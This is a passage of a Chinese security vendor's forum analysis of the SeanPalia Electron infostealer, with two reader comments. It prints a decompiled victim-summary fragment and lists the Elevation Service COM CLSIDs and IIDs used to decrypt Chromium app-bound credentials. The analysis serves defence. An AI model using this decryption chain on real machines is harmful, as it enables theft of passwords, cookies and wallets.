  69.       const summary: FinalBundleSummary = {   
  70.         host: machine.host,   
  71.         os: machine.os,   
  72.         cpu: machine.cpu,   
  73.         gpu: machine.gpu,   
  74.         ramGb: machine.ramGb,   
  75.         hwid: machine.hwid,   
  76.         publicIp: publicIp?.ip ?? "N/A",   
  77.         country: publicIp?.country ?? "N/A",   
  78.         city: publicIp?.city ?? "N/A",   
  79.         asn: publicIp?.asn ?? "N/A",   
  80.         org: publicIp?.org ?? "N/A",   
  81.         passwordCount,   
  82.         cookieCount,   
  83.         autofillCount,   
  84.         cardCount,   
  85.         bookmarkCount,   
  86.         downloadCount,   
  87.         walletCount,   
  88.         extensionCount,   
  89.         privateFileCount,   
  90.         discordTokenCount,   
  91.         steamSummary,   
  92.         toolPresence,   
  93.         zipDownloadLink: zipResult.downloadLink,   
  94.         zipPassword: zipResult.password,   
  95.       };   
  96.          
  97.       // 把最终摘要送入后续上报     
  98.       await deps.sendSummary(summary);   
  99.       return summary;   
  100.     }   
复制代码


五、负责解密 Chromium 系浏览器受保护数据的本地辅助模块
这一部分对应的是第二阶段本地辅助模块。它本身不是 SeanPalia 主程序里那条 Node.js 采集链,而是专门负责处理 Chromium 系浏览器受保护数据的原生解密组件。当前已经完成的 IDA 分析表明,这个模块的核心职责包括:

● 识别目标浏览器类
○ Google Chrome
○ Google Chrome Beta
○ Brave Browser
○ Microsoft Edge
○ Avast Secure Browser

● 构造浏览器本地数据路径
○ User Data 根目录
○ Default / Profile 1-5 配置子目录
○ Local State
○ Login Data
○ Web Data
○ History
○ Bookmarks
○ Cookies
○ Local Storage/leveldb

● 读取 APPB 头的加密数据

● 调用浏览 Elevation Service COM 组件执行解密

● 将解密结果交回上层恶意逻辑继续使用


1.核心函数定位

1.1 decrypt_collected_appb_blobs_via_com
这是当前原生模块的主控函数,负责初始 Native API,执行反调试与自保护检查,初始 COM,枚举受支持浏览器目标,读取 APPB blob,并调用浏览 Elevation Service COM 接口完成解密,最后汇总结果交给后续流程
1. 扫描并识别目标浏览器(Chrome/Chrome Beta/Brave/Edge/Avast)
2. 构造目标数据路径(User Data、Profiles、Local State、Cookies、History 等)
3. 读取 APPB 加密数据块(浏览器保护数据)
4. 调用浏览器本 Elevation Service COM 组件执行解密
5. 将解密后的结果返回给上层 JS/Electron 主控进行后续处理
6. 不同的浏览器对应 COM他自己的对象


参数说明:
● 无显式参数
● 该函数主要依赖内部构造的浏览器目标描述、APPB 输入缓冲区、COM 组件 CLSID / IID 以及结果树容器完成整条解密链
返回值不是最终明文结果本身,而是内部处理结束后的状态值;实际解密结果通过结果树和后续处理流程继续传


对应代码图:









1.2 resolve_browser_target_descriptor
该函数根据输入浏览器名称构造目标描述对象,填充对应 CLSID / IID / User Data / Profile / 目标文件片段,是后续路径构造与 COM 解密调用的适配层。


参数说明:
● out_descriptor
○ 类型:BROWSER_TARGET_DESCRIPTOR *
○ 作用:输出浏览器目标描述对象,函数会在这里写入浏览器对应 COM 标识和路径字

● browser_name
○ 类型:浏览器名称对象指针
○ 作用:作为输入浏览器标识,用于匹配并决定当前构造哪一类浏览器分支


当前已识别的 `CLSID / IID`:
● Google Chrome
○ CLSID:{708860E0-F641-4611-8895-7D867DD3675B}
○ IID(primary):{1BF5208B-295F-4992-B5F4-3A9BB6494838}
○ IID(fallback):{463ABECF-410D-407F-8AF5-0DF35A005CC8}

● Google Chrome Beta
○ CLSID:{DD2646BA-3707-4BF8-B9A7-038691A68FC2}
○ IID(primary):{B96A14B8-D0B0-44D8-BA68-2385B2A03254}
○ IID(fallback):样本中同样存在备用 IID 字段,但当前主链主要使用 Chrome Beta 专属 IID

● Brave Browser
○ CLSID:{576B31AF-6369-4B6B-8560-E4B203A97A8B}
○ IID(primary):{1BF5208B-295F-4992-B5F4-3A9BB6494838}
○ IID(fallback):{F396861E-0C8E-4C71-8256-2FAE6D759CE9}

● Microsoft Edge
○ CLSID:{1FCBE96C-1697-43AF-9140-2897C7C69767}
○ IID(primary):{8F7B6792-4D78-4040-BD24-AE5E140FE15D}
○ IID(fallback):{C9C2B807-7731-4F34-81B7-44FF7779522B}

● Avast Secure Browse
○ CLSID:{EAD34EE8-8D08-4CA1-ADA3-64754374D811}
○ IID(fallback):{7737BB9F-BAC1-4C71-8296-7C82D7994B6F}
○ IID(primary):当前样本中该分支未像前几类那样拆出第二组独立主 IID,主要可稳定确认的是 CLSID 与一组解密接口标
○ 该截图展示的 Google Chrome 分支对应的浏览器目标描述构造结果




1.3 wipe_image_headers_and_sections
该函数负责清除自 PE 头和节表,属于明显的反分 / 自抹痕逻辑


作用说明
● 修改当前模块内存中的 PE 头和节表内容
● 降低后续静态/动态分析时可以直接恢复的模块结构信息

对应代码图:





2.当前模块在整条攻击链中的作用
从攻击链分工上看,可以把它和外层 Electron / JS 主控区分为两层:
● 外层 Electron / JS 主控

负责环境探测、关闭浏览器、扫描数据、调用辅助模块、整理数据并上传
● 当前 IDA 中的原生模块

负责 Chromium 系浏览器中原本受保护、不能直接明文读取的数据解出来

因此,这个模块在整条链里的最准确定位是:
SeanPalia 主窃密链中的“浏览器本地解密 / 受保护数据辅助采集模块”



火绒安全在此提醒广大用户,Electron 应用已成为窃密木马的高频伪装载体,SeanPalia 这类样本可窃取浏览器账号密码、Cookie、信用卡信息、加密货币钱包数据及 Discord、Steam 等高价值账号资产,危害极大。广大用户需谨慎下载来历不明的桌面软件,避免运行非官方渠道的绿色版、破解版工具;及时更新安全软件并开启实时防护,不要轻易关闭安全提示。一旦发现设备出现浏览器异常退出、进程无故被结束等情况,应立即进行全盘查杀,防止敏感信息与数字资产被盗。



C&C:





SHA256:




文中参考链接:
https://bbs.kanxue.com/thread-288619.htm


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DisaPDB
发表于 2026-5-8 18:04:52 | 显示全部楼层
欸 感觉文法和排版变了不少
是新员工?
隔山打空气
发表于 2026-5-8 20:41:03 | 显示全部楼层
这文法很AI
当然还是一如既往的把IOC放图片里 虽然图片也变了(
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